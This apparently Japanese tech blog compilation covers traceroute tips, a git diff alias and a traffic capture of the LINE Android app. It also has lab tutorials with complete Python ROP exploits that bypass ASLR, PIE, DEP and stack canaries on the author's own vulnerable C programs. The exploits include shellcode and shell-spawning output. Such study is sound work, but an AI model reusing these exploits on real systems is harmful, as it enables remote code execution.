高速にtracerouteする
tracerouteに時間がかかる原因には、主に次の二つがある。
- DNS逆引きのレスポンス待ち
- ICMP Time Exceededを返さないhopのレスポンス待ち
したがって、DNS逆引きの無効化およびタイムアウト時間の短縮を行えば素早くtracerouteできる。
Windowsの場合
> tracert -d -w 1 example.com
IPv4、IPv6を強制するには、それぞれ-4
、-6
をつける。
Linuxの場合
$ sudo traceroute -I -n -w 1 example.com
Linuxの場合、デフォルトではUDPパケットが使われるが、環境によってはファイアウォールなどで遮断されている可能性がある。
ICMPパケットを使うには-I
をつける。ただし、これにはroot権限が必要になる。
IPv4、IPv6を強制するには、それぞれ-4
、-6
をつける。
また、-q 1
をつけることでhopごとに送信するリクエスト数をデフォルトの3から1に変更することもできる。
colordiffを使わずにdiffをカラー表示する
diffの出力は標準でカラー表示されない。 カラー表示するためのコマンドとしてはcolordiffがあるが、多くの場合標準では入っていないためインストールする必要がある。 ところが、diffのカラー表示はgitを使ってもできることを知った。
git diffは比較するファイルがgitの管理下になくても使える。
また、-u
オプションをつけなくてもunified diff形式で表示される。
昨今の開発環境ではgitがインストールされている場合が多く、このような環境では便利である。
エイリアス関数を作る
gitがインストールされているときはgit diffを使うエイリアス関数(bash用)を作ってみた。
diffu() { local DIFF if hash git &>/dev/null; then DIFF="git diff --no-index" else DIFF="diff -u" fi if [[ $# -eq 1 ]]; then $DIFF "$1~" "$1" else $DIFF "$@" fi }
Android版LINE Appの通信を覗いてみる
メッセージングアプリLINE(Android版)が行う通信をパケットキャプチャにより適当に調べてみる。
環境
Androidバージョン: 4.1.2 LINEバージョン: 4.4.1
手順
tPacketCaptureというアプリケーションを利用すると、root権限なしでパケットキャプチャができる。 今回はこのアプリケーションを使いパケットキャプチャを行った。 通信内容としては、適当な公式アカウントを追加した後、数回メッセージ送信および自動返信メッセージの受信を行った。
結果
確認できた通信先は以下の通り。
1 | 119.235.235.xxx | LINE (LINE Corporation) | obs-jp.line-apps.com (HTTP/HTTPS) | メッセージ送受信 2 | 120.29.145.xxx | AKAMAI-4 (Akamai International BV) | dl.stickershop.line.naver.jp (HTTP) | スタンプに関するメタデータ? 3 | 203.104.131.xxx | NHN-JAPAN (NHN Japan Corporation) | (TCP/10006) | エラーログの送信
主にメッセージのやり取りは1のIPと行われているようだった。 HTTPで行われるのは公式アカウントのプレビュー画像の送受信のみで、実際のメッセージの送受信はHTTPSにて行われていた。 そこでのClientHelloおよびServerHelloパケットの内容を抜き出すと、次のようになる。
Secure Sockets Layer SSL Record Layer: Handshake Protocol: Client Hello Version: TLS 1.0 (0x0301) Handshake Protocol: Client Hello Version: TLS 1.0 (0x0301) Cipher Suites (35 suites) Cipher Suite: TLS_RSA_WITH_RC4_128_MD5 (0x0004) Cipher Suite: TLS_RSA_WITH_RC4_128_SHA (0x0005) Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f) Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035) Cipher Suite: TLS_ECDH_ECDSA_WITH_RC4_128_SHA (0xc002) Cipher Suite: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA (0xc004) Cipher Suite: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA (0xc005) Cipher Suite: TLS_ECDH_RSA_WITH_RC4_128_SHA (0xc00c) Cipher Suite: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA (0xc00e) Cipher Suite: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA (0xc00f) Cipher Suite: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (0xc007) Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009) Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a) Cipher Suite: TLS_ECDHE_RSA_WITH_RC4_128_SHA (0xc011) Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013) Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014) Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x0033) Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039) Cipher Suite: TLS_DHE_DSS_WITH_AES_128_CBC_SHA (0x0032) Cipher Suite: TLS_DHE_DSS_WITH_AES_256_CBC_SHA (0x0038) Cipher Suite: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a) Cipher Suite: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA (0xc003) Cipher Suite: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA (0xc00d) Cipher Suite: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (0xc008) Cipher Suite: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (0xc012) Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (0x0016) Cipher Suite: TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA (0x0013) Cipher Suite: TLS_RSA_WITH_DES_CBC_SHA (0x0009) Cipher Suite: TLS_DHE_RSA_WITH_DES_CBC_SHA (0x0015) Cipher Suite: TLS_DHE_DSS_WITH_DES_CBC_SHA (0x0012) Cipher Suite: TLS_RSA_EXPORT_WITH_RC4_40_MD5 (0x0003) Cipher Suite: TLS_RSA_EXPORT_WITH_DES40_CBC_SHA (0x0008) Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA (0x0014) Cipher Suite: TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA (0x0011) Cipher Suite: TLS_EMPTY_RENEGOTIATION_INFO_SCSV (0x00ff)
Secure Sockets Layer TLSv1 Record Layer: Handshake Protocol: Multiple Handshake Messages Handshake Protocol: Server Hello Version: TLS 1.0 (0x0301) Cipher Suite: TLS_RSA_WITH_RC4_128_MD5 (0x0004) Handshake Protocol: Certificate Certificates (3207 bytes) Certificate (id-at-commonName=*.line-apps.com,id-at-organizationalUnitName=System Operation Team,id-at-organizationName=LINE Corporation,id-at-localityName=Shibuya-ku,id-at-stateOrProvinceName=Tokyo,id-at-countryName=JP,id-at-serialNumber= subjectPublicKeyInfo algorithm (rsaEncryption) Algorithm Id: 1.2.840.113549.1.1.1 (rsaEncryption) Padding: 0 subjectPublicKey: 3082010a0282010100ca66804c12c4ea44db1b9883a91dc2... extensions: 9 items Extension (id-ce-subjectAltName) Extension Id: 2.5.29.17 (id-ce-subjectAltName) GeneralNames: 2 items GeneralName: dNSName (2) dNSName: *.line-apps.com GeneralName: dNSName (2) dNSName: line-apps.com Certificate (id-at-commonName=GeoTrust SSL CA,id-at-organizationName=GeoTrust, Inc.,id-at-countryName=US) Certificate (id-at-commonName=GeoTrust Global CA,id-at-organizationName=GeoTrust Inc.,id-at-countryName=US)
ClientHelloのCipher SuitesにおいてTLS_RSA_WITH_RC4_128_MD5 (0x0004)
が優先されていることから、ServerHelloでもTLS_RSA_WITH_RC4_128_MD5 (0x0004)
が選択されている。
Android 4.3以下においてHttpURLConnectionクラスを使って通信を行うとこのようになることが知られているため、LINE Appもこれに類するAPIを使っているものと思われる。
また、subjectPublicKeyInfoを調べたところ、RSAの鍵長は2048bitであった。
2のIPとの通信では、何かしらのメタデータと思われるJSONデータがHTTPにより受信されていた。 HTTPのHostヘッダの記述から、スタンプに関するものと推測される。
3のIPとの通信では、アプリ起動中に発生したと思われる例外エラーの内容が平文にて送信されていた。 この中には端末のIPアドレス、通信種別(Wifi、LTE、3G)、SIMキャリア情報、言語設定の内容、Androidバージョン、機種情報が含まれる。
まとめ
Android APIの仕様によりイマイチなCipherSuiteが選ばれていたり、エラーログが平文で送信されていたりするものの、とりあえずメッセージの送受信についてはTLSで暗号化されているようである。 iOSやWindowsなど他のOSのアプリであれば、より暗号強度の高いCipherSuiteが選ばれるのかもしれない。
関連リンク
Smashing the stack bypassing ASLR+PIE+DEP+SSP(+RELRO)
buffer over-readおよびスタックバッファオーバーフローを利用し、ASLR+PIE+DEP+SSP(+RELRO)がすべて有効な条件下におけるシェル起動をやってみる。 なお、ここではGOT overwriteなどは行わないため、RELROの有無に意味はない。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
buffer over-readおよびスタックバッファオーバーフローが起こせるforkサーバを書いてみる。
/* echod.c */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <stdlib.h> void handle_client(int c) { char buf[100]; int size; recv(c, &size, 4, 0); recv(c, buf, size, 0); send(c, buf, size, 0); } int main(int argc, char *argv[]) { int s, c; struct sockaddr_in addr; int port; int pid; port = atoi(argv[1]); s = socket(AF_INET, SOCK_STREAM, 0); addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = INADDR_ANY; bind(s, (struct sockaddr *)&addr, sizeof(addr)); listen(s, 5); while (1) { c = accept(s, NULL, NULL); pid = fork(); if (pid == 0) { close(s); handle_client(c); close(c); return 0; } else { close(c); } } }
このプログラムは、第一引数に待ち受けるポート番号を取る。 起動したサーバは接続が確立した後まず最初の4バイトでデータ長を受け取り、その後に続くデータをそのままクライアントに送り返す。
ASLR+PIE+DEP+SSP(+RERLO)有効にてコンパイルし、サーバを起動してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fPIE -pie -Wl,-z,relro,-z,now echod.c $ ./a.out 5000 & [1] 5119
ここでchecksec.shを使い、各種セキュリティ機構の有無を確認すると次のようになる。
$ wget http://www.trapkit.de/tools/checksec.sh $ chmod +x checksec.sh $ ./checksec.sh --file a.out RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH a.out
RELRO、SSP (Stack canary)、DEP (NX)、PIEがすべて有効になっていることがわかる。
エクスプロイトコードを書いてみる
send/recvを使ったROP stagerによるエクスプロイトコードを書くと、次のようになる。
# exploit.py import struct import socket import telnetlib bufsize = 100 sock_fd = 4 stack_size = 0x800 offset_retaddr = 0x8d2 # objdump -d a.out | grep -A1 '<handle_client>' offset_bss = 0x2008 # readelf -S a.out offset_got = 0x1fac # readelf -S a.out offset_plt_recv = 0x610 # objdump -d -j.plt a.out offset_plt_send = 0x630 # objdump -d -j.plt a.out offset_got_start = offset_got + 0x20 # objdump -d -j.plt a.out offset_pop4 = 0x96c # objdump -d a.out offset_pop_ebp = 0x6fe # objdump -d a.out offset_pop_ebx = 0x540 # objdump -d a.out offset_leave_ret = 0x908 # objdump -d a.out offset_libc_start = 0x000193e0 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " __libc_start_main" offset_libc_system = 0x0003f430 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " system" offset_libc_exit = 0x00032fb0 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " exit" size = bufsize + 20 buf = 'AAAA' s = socket.create_connection(('localhost', 5000)) s.sendall(struct.pack('<I', size)) s.sendall(buf) data = s.recv(size) print "[+] received: %r" % data s.close() canary = data[bufsize:bufsize+4] retaddr = struct.unpack('<I', data[bufsize+16:bufsize+16+4])[0] print "[+] canary = %r" % canary print "[+] retaddr = %08x" % retaddr base_bin = retaddr - offset_retaddr print "[+] base_bin = %08x" % base_bin buf = 'A' * bufsize buf += canary buf += 'AAAA' * 3 buf += struct.pack('<I', base_bin + offset_pop_ebx) buf += struct.pack('<I', base_bin + offset_got) buf += struct.pack('<I', base_bin + offset_plt_send) buf += struct.pack('<I', base_bin + offset_pop4) buf += struct.pack('<I', sock_fd) buf += struct.pack('<I', base_bin + offset_got_start) buf += struct.pack('<I', 4) buf += struct.pack('<I', 0) buf += struct.pack('<I', base_bin + offset_pop_ebx) buf += struct.pack('<I', base_bin + offset_got) buf += struct.pack('<I', base_bin + offset_plt_recv) buf += struct.pack('<I', base_bin + offset_pop4) buf += struct.pack('<I', sock_fd) buf += struct.pack('<I', base_bin + offset_bss + stack_size) buf += struct.pack('<I', 100) buf += struct.pack('<I', 0) buf += struct.pack('<I', base_bin + offset_pop_ebp) buf += struct.pack('<I', base_bin + offset_bss + stack_size) buf += struct.pack('<I', base_bin + offset_leave_ret) size = len(buf) s = socket.create_connection(('localhost', 5000)) s.sendall(struct.pack('<I', size)) s.sendall(buf) data = s.recv(4) addr_libc_start = struct.unpack('<I', data)[0] print "[+] addr_libc_start = %08x" % addr_libc_start base_libc = addr_libc_start - offset_libc_start print "[+] base_libc = %08x" % base_libc buf = 'AAAA' buf += struct.pack('<I', base_libc + offset_libc_system) buf += struct.pack('<I', base_libc + offset_libc_exit) buf += struct.pack('<I', base_bin + offset_bss + stack_size + 20) buf += struct.pack('<I', 0) buf += '/bin/sh <&4 >&4\x00' buf += 'A' * (100-len(buf)) s.sendall(buf) t = telnetlib.Telnet() t.sock = s t.interact() s.close()
このコードは引数は取らない。
このコードは、まずbuffer over-readによりcanaryとリターンアドレスの値を読み出す。 ここで、リターンアドレスにはmain関数においてhandle_clientを呼んだ後の命令のアドレスが入る。 つまり、実行ファイル中におけるその命令のオフセットをリターンアドレスから引くことで、実行ファイルが置かれたベースアドレスが計算できる。 ここで一度コネクションが切れ、次のコネクションでは接続先のプロセスが異なるものとなるが、同一の親プロセスからforkしているためcanaryやメモリレイアウトは共通となる。
次に、実行ファイルのベースアドレスをもとにsend/recvを使ったROP stagerを送り込む。
これが実行されると、sendにより__libc_start_main関数のアドレスを読み出した後、recvによりBSSセクションから0x800バイト先にデータが読み込まれる。
そして、pop ebp; ret
とleave; ret
により読み込み先のアドレスにstack pivotを行う。
最後に、__libc_start_main関数のアドレスからlibcのベースアドレスを計算し、system関数によりシェル起動を行うROPシーケンスを送り込む。 ここでsystem関数の引数には、標準入出力をソケットに繋いだ上でシェルを起動するコマンド文字列を指定する。
なお、PIEが有効な場合において、PLTセクションをディスアセンブルすると次のようになる。
$ objdump -d -j.plt a.out 000005b0 <__libc_start_main@plt>: 5b0: ff a3 20 00 00 00 jmp DWORD PTR [ebx+0x20] 5b6: 68 28 00 00 00 push 0x28 5bb: e9 90 ff ff ff jmp 550 <_init+0x3c>
ここでGOTアドレスがebx+0x20
として参照されているが、このebxにはGOTセクションの先頭アドレスが入る。
したがって、readelf -S a.out
などによりGOTセクションのオフセットを調べておくことで、実行ファイル全体におけるGOTアドレスのオフセットが計算できる。
また、PLTセクションにreturnする前にはebxにGOTセクションのアドレスをセットしておく必要がある。
実行してみると、次のようになる。
$ python exploit.py [+] received: 'AAAA09\xfd\xbf\xff\x0f\x00\x00\xd6\x84h\xb7u\x85h\xb7\xaf\xcel\xb7\xc0\xaa{\xb7\x00\x00\x00\x00\x08$\xfd\xbf7\x83d\xb709\xfd\xbf\x00\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x009a\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbf#\xfd\xbf\xfd\x82d\xb7\xac\xaf~\xb7\xf4\x9f{\xb709\xfd\xbf\x00\x00\x00\x00K\xcdl\xb7\x00\x84 \xe9\x00\x00\x00\x00\xac\xaf~\xb7\x08$\xfd\xbf\xd2\x98~\xb7' [+] canary = '\x00\x84 \xe9' [+] retaddr = b77e98d2 [+] base_bin = b77e9000 [+] addr_libc_start = b762d3e0 [+] base_libc = b7614000 id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
canaryの値、実行ファイルのベースアドレス、libcのベースアドレスを順に得た後、シェルが起動できていることが確認できた。
ROP stager + read/writeによるASLR+DEP回避
「ROP stagerによるシェルコード実行をやってみる」では、mmapにより動的に実行可能なメモリを確保しシェルコード実行を行った。 ROP stagerには、ほかにもmprotectなどを使いすでに存在するメモリ領域を実行可能に変更するアプローチもある。 さらに、脆弱性のあるプログラムがread/writeなどのIO関数を利用している場合、そのPLTを利用することでASLR+DEPを回避することができる。 ここでは、IO関数を利用したROP stagerを使い、ASLRおよびDEPが有効な条件下でのシェル起動およびシェルコード実行をやってみる。 また、使われているlibcの詳細が不明な状況において、libcバイナリを直接読み出し詳細を調べる方法についても説明する。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
まず、スタックバッファオーバーフローを起こせるコードを書く。
/* bof.c */ #include <unistd.h> int main() { char buf[100]; int size; read(0, &size, 4); read(0, buf, size); write(1, buf, size); return 0; }
このコードは最初に4バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。
ASLR、DEP有効、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector bof.c $ echo -e "\x04\x00\x00\x00AAAA" | ./a.out AAAA
シェル起動を行うエクスプロイトコードを書いてみる
まず、rp++を使って実行ファイル(a.out)に含まれるROP gadgetsを出力する。
$ ./rp-lin-x86 --file=a.out --rop=3 --unique > gadgets.txt
出力されたROP gadgetsをもとに、エクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_plt_read = 0x08048310 # objdump -d -j.plt a.out addr_plt_write = 0x08048340 # objdump -d -j.plt a.out addr_got_start = 0x804a008 # objdump -d -j.plt a.out addr_bss = 0x0804a018 # readelf -S a.out addr_pop3 = 0x080484cd # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret ; (1 found) addr_pop_ebp = 0x080483d3 # 0x08048433: pop ebp ; ret ; (3 found) addr_leave_ret = 0x08048401 # 0x08048461: leave ; ret ; (2 found) offset_system = 0x0003f430 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " system" offset_exit = 0x00032fb0 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " exit" offset_start = 0x000193e0 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " __libc_start_main" stack_size = 0x800 p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) buf = 'A' * bufsize buf += 'AAAA' * 3 buf += struct.pack('<I', addr_plt_write) buf += struct.pack('<I', addr_pop3) buf += struct.pack('<I', 1) buf += struct.pack('<I', addr_got_start) buf += struct.pack('<I', 4) buf += struct.pack('<I', addr_plt_read) buf += struct.pack('<I', addr_pop3) buf += struct.pack('<I', 0) buf += struct.pack('<I', addr_bss+stack_size) buf += struct.pack('<I', 100) buf += struct.pack('<I', addr_pop_ebp) buf += struct.pack('<I', addr_bss+stack_size) buf += struct.pack('<I', addr_leave_ret) p.stdin.write(struct.pack('<I', len(buf))) p.stdin.write(buf) print "[+] read: %r" % p.stdout.read(len(buf)) word = p.stdout.read(4) addr_start = struct.unpack('<I', word)[0] print "[+] addr_start = %08x" % addr_start libc_base = addr_start - offset_start print "[+] libc_base = %08x" % libc_base addr_system = libc_base + offset_system addr_exit = libc_base + offset_exit buf = 'AAAA' buf += struct.pack('<I', addr_system) buf += struct.pack('<I', addr_exit) buf += struct.pack('<I', addr_bss+stack_size+20) buf += struct.pack('<I', 0) buf += '/bin/sh <&2 >&2\x00' buf += 'A' * (100-len(buf)) p.stdin.write(buf) p.wait()
このコードは、オーバーフローが起こせるバッファのサイズを引数に取る。
このコードは、まずwrite関数のPLTにreturnし、__libc_start_main関数のGOTアドレスに書かれている4バイトの値を出力する。
__libc_start_main関数はmain関数が呼ばれる前に呼び出されているので、この値はlibc内の__libc_start_main関数を指すアドレスとなる。
次に、read関数のPLTにreturnし、100バイトのデータを書き込み可能なメモリ領域に読み込む。
ここでは、実行ファイルのBSSセクションから0x800バイト先のアドレスを読み込み先として指定している。
最後に、pop ebp; ret
でebpレジスタにアドレスをセットした後leave; ret
を実行することで、読み込み先のアドレスにstack pivotを行う。
leave命令はmov esp, ebp; pop ebp
と同じ働きをするので、pivot先の最初の4バイトは新しいebpの値となり、実際のespはその次の4バイトを指す。
なお、ここまでで参照しているアドレスはすべて実行ファイル中のアドレスであるため、ASLRが有効な場合にも固定となる(実行ファイルがPIEの場合を除く)。
以上のROPシーケンスを送り込むと、__libc_start_main関数のアドレスが出力された後、read関数による100バイトの入力待ち状態となる。 あとは、__libc_start_main関数のアドレスからオフセットを引くことでlibcのベースアドレスを計算し、これをもとにsystem関数を呼び出すシーケンスを送り込む。 ここでread関数が読み込むアドレスは固定となるので、system関数の引数として与える文字列も自由に与えることができる。 ここでは、引数として端末を指している標準エラー出力を標準入出力に複製した上でシェルを呼び出すコマンドを指定している。 また、読み込み時に空けておいた0x800バイトは、ここでsystem関数が呼び出された際のスタックとして利用される。
実際に引数をセットして実行してみる。
$ python exploit.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\x83\x04\x08\xcd\x84\x04\x08\x01\x00\x00\x00\x08\xa0\x04\x08\x04\x00\x00\x00\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08' [+] addr_start = b75573e0 [+] libc_base = b753e000 $ id uid=1000(user) gid=1000(user) groups=1000(user) $ $ python exploit.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\x83\x04\x08\xcd\x84\x04\x08\x01\x00\x00\x00\x08\xa0\x04\x08\x04\x00\x00\x00\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08' [+] addr_start = b76013e0 [+] libc_base = b75e8000 $
libcのベースアドレスを得た後、system関数によりシェルが起動していることがわかる。 また、再度実行したときlibcのベースアドレスが異なっていることから、DEPに加えASLRも回避できていることがわかる。
シェルコード実行を行うエクスプロイトコードを書いてみる
上のエクスプロイトコードではsystem関数によりシェルを起動したが、mprotect関数を使えば任意のシェルコードを実行することもできる。 実際にエクスプロイトコードを書くと次のようになる。
# exploit2.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_plt_read = 0x08048310 # objdump -d -j.plt a.out addr_plt_write = 0x08048340 # objdump -d -j.plt a.out addr_got_start = 0x804a008 # objdump -d -j.plt a.out addr_bss = 0x0804a018 # readelf -S a.out addr_pop3 = 0x080484cd # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret ; (1 found) addr_pop_ebp = 0x080483d3 # 0x08048433: pop ebp ; ret ; (3 found) addr_leave_ret = 0x08048401 # 0x08048461: leave ; ret ; (2 found) offset_mprotect = 0x000ebff0 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " mprotect" offset_start = 0x000193e0 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " __libc_start_main" stack_size = 0x800 # dup2(2, 0); dup2(2, 1); execve("/bin/sh", {"/bin/sh", NULL}, NULL) shellcode = '\x31\xc9\x8d\x59\x02\x8d\x41\x3f\xcd\x80\x41\x8d\x41\x3e\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) buf = 'A' * bufsize buf += 'AAAA' * 3 buf += struct.pack('<I', addr_plt_write) buf += struct.pack('<I', addr_pop3) buf += struct.pack('<I', 1) buf += struct.pack('<I', addr_got_start) buf += struct.pack('<I', 4) buf += struct.pack('<I', addr_plt_read) buf += struct.pack('<I', addr_pop3) buf += struct.pack('<I', 0) buf += struct.pack('<I', addr_bss+stack_size) buf += struct.pack('<I', 100) buf += struct.pack('<I', addr_pop_ebp) buf += struct.pack('<I', addr_bss+stack_size) buf += struct.pack('<I', addr_leave_ret) p.stdin.write(struct.pack('<I', len(buf))) p.stdin.write(buf) print "[+] read: %r" % p.stdout.read(len(buf)) word = p.stdout.read(4) addr_start = struct.unpack('<I', word)[0] print "[+] addr_start = %08x" % addr_start libc_base = addr_start - offset_start print "[+] libc_base = %08x" % libc_base addr_mprotect = libc_base + offset_mprotect buf = 'AAAA' buf += struct.pack('<I', addr_mprotect) buf += struct.pack('<I', addr_bss+stack_size+24) buf += struct.pack('<I', (addr_bss+stack_size+24) & ~0xFFF) buf += struct.pack('<I', 0x1000) buf += struct.pack('<I', 7) buf += shellcode buf += 'A' * (100-len(buf)) p.stdin.write(buf) p.wait()
このコードも、オーバーフローを起こすバッファのサイズを引数に取る。 シェルコードは、「ROP stagerによるシェルコード実行をやってみる」で使ったものと同じである。 また、mprotectの第一引数はメモリのページ境界でなければならないので、シェルコードが置かれるアドレスの下位12バイトを0に落としている。
引数をセットし実行してみる。
$ python exploit2.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\x83\x04\x08\xcd\x84\x04\x08\x01\x00\x00\x00\x08\xa0\x04\x08\x04\x00\x00\x00\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08' [+] addr_start = b762c3e0 [+] libc_base = b7613000 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
ASLRおよびDEPが有効な条件下で、任意のシェルコードが実行できることが確認できた。
libcバイナリの読み出しをやってみる
IO関数を使えば、GOTアドレスの値に限らず任意のメモリアドレスの内容を読み出すことができる。
これまでのコードでは、使われているlibcの詳細がわかっている前提でオフセットを計算していたが、実際には不明な場合も多い。 そこで、__libc_start_main関数のアドレスをヒントに、libcバイナリそのものを直接読み出すコードを書いてみると次のようになる。
# exploit3.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) offset_leak = int(sys.argv[2], 16) leak_size = int(sys.argv[3], 16) addr_plt_read = 0x08048310 # objdump -d -j.plt a.out addr_plt_write = 0x08048340 # objdump -d -j.plt a.out addr_got_start = 0x804a008 # objdump -d -j.plt a.out addr_bss = 0x0804a018 # readelf -S a.out addr_pop3 = 0x080484cd # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret ; (1 found) addr_pop_ebp = 0x080483d3 # 0x08048433: pop ebp ; ret ; (3 found) addr_leave_ret = 0x08048401 # 0x08048461: leave ; ret ; (2 found) stack_size = 0x800 p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) buf = 'A' * bufsize buf += 'AAAA' * 3 buf += struct.pack('<I', addr_plt_write) buf += struct.pack('<I', addr_pop3) buf += struct.pack('<I', 1) buf += struct.pack('<I', addr_got_start) buf += struct.pack('<I', 4) buf += struct.pack('<I', addr_plt_read) buf += struct.pack('<I', addr_pop3) buf += struct.pack('<I', 0) buf += struct.pack('<I', addr_bss+stack_size) buf += struct.pack('<I', 100) buf += struct.pack('<I', addr_pop_ebp) buf += struct.pack('<I', addr_bss+stack_size) buf += struct.pack('<I', addr_leave_ret) p.stdin.write(struct.pack('<I', len(buf))) p.stdin.write(buf) print "[+] read: %r" % p.stdout.read(len(buf)) word = p.stdout.read(4) addr_start = struct.unpack('<I', word)[0] print "[+] addr_start = %08x" % addr_start addr_leak = addr_start + offset_leak buf = 'AAAA' buf += struct.pack('<I', addr_plt_write) buf += 'AAAA' buf += struct.pack('<I', 1) buf += struct.pack('<I', addr_leak) buf += struct.pack('<I', leak_size) buf += 'A' * (100-len(buf)) p.stdin.write(buf) print p.stdout.read(leak_size) p.wait()
このコードは、バッファサイズ、__libc_start_main関数からのオフセット、読み出すサイズを順に引数に取る。 また、このコードではlibcバイナリから得られるオフセット情報は使っていない。
引数を変えながら実行し、libcを含む文字列を探した結果次の出力が得られた。
$ python exploit3.py 100 0x140000 0x10000 | strings | grep -i libc libc LIBC_FATAL_STDERR_ __libc_malloc __libc_realloc __libc_memalign __libc_valloc __libc_pvalloc __libc_calloc __libc_fork glibc 2.15 libcidn.so.1 GNU C Library (Ubuntu EGLIBC 2.15-0ubuntu10.5) stable release version 2.15, by Roland McGrath et al. libc ABIs: UNIQUE IFUNC cnt < (((uint32_t) (((__libc_tsd_LOCALE))->__locales[__LC_CTYPE])->values[((int) (_NL_CTYPE_MB_CUR_MAX) & 0xffff)].word)) n <= (((uint32_t) (((__libc_tsd_LOCALE))->__locales[__LC_CTYPE])->values[((int) (_NL_CTYPE_MB_CUR_MAX) & 0xffff)].word)) *** glibc detected *** %s: %s: 0x%s *** __libc_errno != 34 || buf != ((void *)0) || size != 0
この結果から、使われているlibcがUbuntu EGLIBC 2.15-0ubuntu10.5
であることがわかる。
このような情報をもとに同一のlibcバイナリを見つけることができれば、そのオフセット情報を利用してROPを行うことができる。
